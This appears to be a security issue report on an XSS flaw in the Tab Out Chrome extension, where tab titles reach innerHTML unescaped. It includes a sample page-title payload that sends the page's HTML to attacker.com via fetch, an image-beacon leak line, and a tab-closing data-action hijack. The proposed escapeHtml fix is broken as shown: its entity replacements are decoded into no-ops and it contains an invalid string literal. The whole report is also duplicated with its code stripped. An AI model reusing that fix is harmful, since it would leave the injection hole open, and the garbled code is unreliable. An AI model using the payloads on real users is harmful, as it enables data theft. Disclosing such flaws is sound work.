🔴 Critical: HTML injection / XSS via tab titles
File: extension/app.js
Functions: renderDomainCard(), buildOverflowChips(), renderDeferredItem(), renderArchiveItem()
Tab titles and URLs are interpolated directly into innerHTML template strings without HTML-escaping. The only sanitization is .replace(/"/g, '"') applied to attribute values — but the title is also inserted as element content:
const safeTitle = label.replace(/"/g, '"'); // only escapes quotes
return `<div ... title="${safeTitle}">
<span class="chip-text">${label}</span> // ← raw label, no escaping
...`;
Attack scenario
Any webpage the user visits controls its own document.title. A malicious page sets:
document.title = '<img src=x onerror="fetch(`https://attacker.com/steal?d=`+btoa(document.documentElement.outerHTML))">';
When the user opens a new tab (Tab Out's dashboard), chrome.tabs.query() returns this title and it gets injected into the dashboard DOM as HTML.
What's mitigated by MV3 CSP vs. what isn't
MV3's default CSP (script-src 'self') blocks inline script execution from injected HTML — so <script> and onerror handlers in injected markup are blocked. But the following still work and are real problems:
- Data exfiltration via image beacons —
<img src="https://attacker.com/log?x=..."> loads freely; a malicious page title can leak the fact you have the tab open, plus any content it can reach into via CSS selectors / sibling markup.
- DOM clobbering & UI spoofing — injected
<form>, <a href="javascript:..."> (blocked), <a href="https://phish..."> (works), fake buttons with data-action attributes that hijack the extension's event delegation handler.
- Layout breakage — trivially trash the dashboard with malformed tags.
The data-action hijack is the worst non-script issue: Tab Out uses a single delegated click listener that reads data-action off the nearest ancestor. An injected <div data-action="close-all-open-tabs"> inside a tab title would close all your tabs on click.
Fix
Add an escapeHtml() helper and escape title/URL/domain everywhere they're interpolated into innerHTML:
function escapeHtml(str) {
if (!str) return '';
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Apply to: label / safeTitle / safeUrl / domain in every innerHTML template in app.js.
🔴 Critical: HTML injection / XSS via tab titles
File:
extension/app.jsFunctions:
renderDomainCard(),buildOverflowChips(),renderDeferredItem(),renderArchiveItem()Tab titles and URLs are interpolated directly into
innerHTMLtemplate strings without HTML-escaping. The only sanitization is.replace(/"/g, '"')applied to attribute values — but the title is also inserted as element content:Attack scenario
Any webpage the user visits controls its own
document.title. A malicious page sets:When the user opens a new tab (Tab Out's dashboard),
chrome.tabs.query()returns this title and it gets injected into the dashboard DOM as HTML.What's mitigated by MV3 CSP vs. what isn't
MV3's default CSP (
script-src 'self') blocks inline script execution from injected HTML — so<script>andonerrorhandlers in injected markup are blocked. But the following still work and are real problems:<img src="https://attacker.com/log?x=...">loads freely; a malicious page title can leak the fact you have the tab open, plus any content it can reach into via CSS selectors / sibling markup.<form>,<a href="javascript:...">(blocked),<a href="https://phish...">(works), fake buttons withdata-actionattributes that hijack the extension's event delegation handler.The
data-actionhijack is the worst non-script issue: Tab Out uses a single delegatedclicklistener that readsdata-actionoff the nearest ancestor. An injected<div data-action="close-all-open-tabs">inside a tab title would close all your tabs on click.Fix
Add an
escapeHtml()helper and escape title/URL/domain everywhere they're interpolated intoinnerHTML:Apply to:
label/safeTitle/safeUrl/domainin everyinnerHTMLtemplate inapp.js.